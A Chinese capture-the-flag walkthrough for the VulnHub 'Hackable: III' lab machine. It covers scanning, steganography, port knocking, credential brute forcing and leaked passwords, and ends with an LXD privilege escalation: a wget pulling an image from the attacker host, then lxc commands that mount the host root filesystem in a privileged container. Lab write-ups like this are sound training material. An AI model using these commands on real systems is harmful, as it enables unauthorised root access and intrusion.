准备:

攻击机:虚拟机kali、本机win10。

靶机:Hackable: III,下载地址:https://download.vulnhub.com/hackable/hackable3.ova,下载后直接vbox打开即可。

知识点:lxd提权、hydra爆破、图片隐藏信息获取、端口敲门(knock)。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.5.0/24,获得靶机地址:192.168.5.230。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.230,显示开放了80端口,开启了http服务。

web服务-信息收集:

访问其web服务的源代码信息,在其源代码信息中发现提示信息,根据提示信息猜测可能存在以下账户:jubiscleudo和hackable3,一个登录界面地址:http://192.168.5.230/login_page/login.html。

在登录界面中进行正常登录时会返回源码信息,在返回的源码信息中发现了一个图片文件:3.jpg,以及一个包含的文件config.php。

访问该图片并进行保留,使用steghide查看隐藏的文件信息:steghide info 3.jpg并读取下文件信息内容:steghide extract -sf 3.jpg,发现端口号:65535。

访问config.php发现提示信息,告诉我们root账户不需要密码,这个有待验证,先暂时放这。

目录扫描:

使用dirsearch进行目录扫描,命令:dirsearch -u http://192.168.5.230 -e * ,发现存在/backup、/config、/cs目录和其他一些文件。

访问:http://192.168.5.230/backup/,发现wordlist.txt文件,猜测是密码字典,保存下来。

访问:http://192.168.5.230/config/,发现1.txt文件,文件内容是base64加密的字符串:MTAwMDA=,解密后得到端口:10000。

访问:http://192.168.5.230/css/,发现2.txt文件,在文件中发现加密信息:++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>------------------....,在解密网站:http://esoteric.sange.fi/brainfuck/impl/interp/i.html进行解密后的端口:4444。

加上刚开始的提示信息:activate the port knocking,所以我们尝试使用获得端口进行敲门,命令:knock -v 192.168.5.230 10000 4444 65535(端口顺序是文件名的1、2、3顺序),然后在对靶机进行扫描:nmap -T4 -sV -p- -A 192.168.5.230,发现开放的22端口。

获取shell:

使用收集到的账户信息:jubiscleudo、hackable3和密码字典进行爆破,成功获得账户和密码:jubiscleudo/onlymy。

使用获得账户和密码进行ssh连接,命令:ssh jubiscleudo@192.168.5.230,成功获得shell权限。

横向渗透:

经过一番查找在/var/www/html目录下发现一个隐藏文件:.backup_config.php,读取该文件内容获取到hackable_3账户的密码:TrOLLED_3。

使用获得的账户和密码信息进行登录:hackable_3/TrOLLED_3,成功登录到hackable_3账户。

提权:

在hackable_3账户下发现其具有lxd权限,那就可以尝试使用lxd提权。

首先在这个网站:https://github.com/saghul/lxd-alpine-builder.git下载tar.gz文件并上传到靶机,命令:wget http://192.168.5.226:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz。然后在依次执行如下命令,即可成功获得root权限。

lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
lxd init #基本默认配置,进行回车就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

获得root权限后,在/mnt/root/root目录下发现root.txt文件,读取该文件成功获取到flag值。

vulnhub靶场之HACKABLE: III的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. 二手商城集成jwt认证授权

    ------------恢复内容开始------------ 使用jwt进行认证授权的主要流程 参考博客(https://www.cnblogs.com/RayWang/p/9536524.html) ...

  2. MasaFramework -- 缓存入门与规则配置

    概念 什么是缓存,在项目中,为了提高数据的读取速度,我们会对不经常变更但访问频繁的数据做缓存处理,我们常用的缓存有: 本地缓存 内存缓存:IMemoryCache 分布式缓存 Redis: Stack ...

  3. Spring 深入——IoC 容器 02

    IoC容器的实现学习--02 目录 IoC容器的实现学习--02 回顾 IoC 容器的初始化过程: BeanDefinition 的 Resource 定位 小结: 回顾 前面学习了 IoC 模式的核 ...

  4. 3.Task对象

    Task对象 用于调度或并发协程对象 在事件循环中可以添加多个任务   创建task对象三种方式 创建task对象可以让协程加入事件循环中等待被调度执行 3.7版本之后加入asyncio.create ...

  5. Vue报错:component has been registered but not used

    原因: ​​eslint​​代码检查到你注册了组件但没有使用,然后就报错了.比如代码: 比如​​Vue​​​中注册了​​File​​组件,而实际上却没有使用到(直接取消注册为好): ... impor ...

  6. 嵌入式-C语言基础:指针偏移打印数组

    在C语言中,数组名代表数组中首元素的地址,所以,下面两句获取数组的首地址是等价的: #include<stdio.h> int main() { int a[5]={1,2,3,4,5}; ...

  7. JMX port被占用

    JMX port被占用 解决方案 win+R打开DOS窗口,进入window命令,注意:要以管理员身份打开(快捷键:ctrl+shift+enter): 使用命令:netstat -aon|finds ...

  8. Go语言核心36讲37

    你好,我是郝林,今天我们继续来分享并发安全字典sync.Map的内容. 我们在上一篇文章中谈到了,由于并发安全字典提供的方法涉及的键和值的类型都是interface{},所以我们在调用这些方法的时候, ...

  9. Go语言核心36讲02

    你好,我是郝林,今天我分享的主题是,学习专栏的正确姿势. 到了这里,专栏的全部内容已经都推送到你的面前了.如果你已经同步学习完了,那么我要给你点一个大大的赞! 还没有看完的同学也不要着急,因为推送的速 ...

  10. 图文详解在VMware Workstation 16 PRO虚拟机上安装Rocky 8.6 linux系统

    一.安装VMware Workstation虚拟机 下载VMware Workstation 16 PRO虚拟机 https://www.vmware.com/cn/products/workstat ...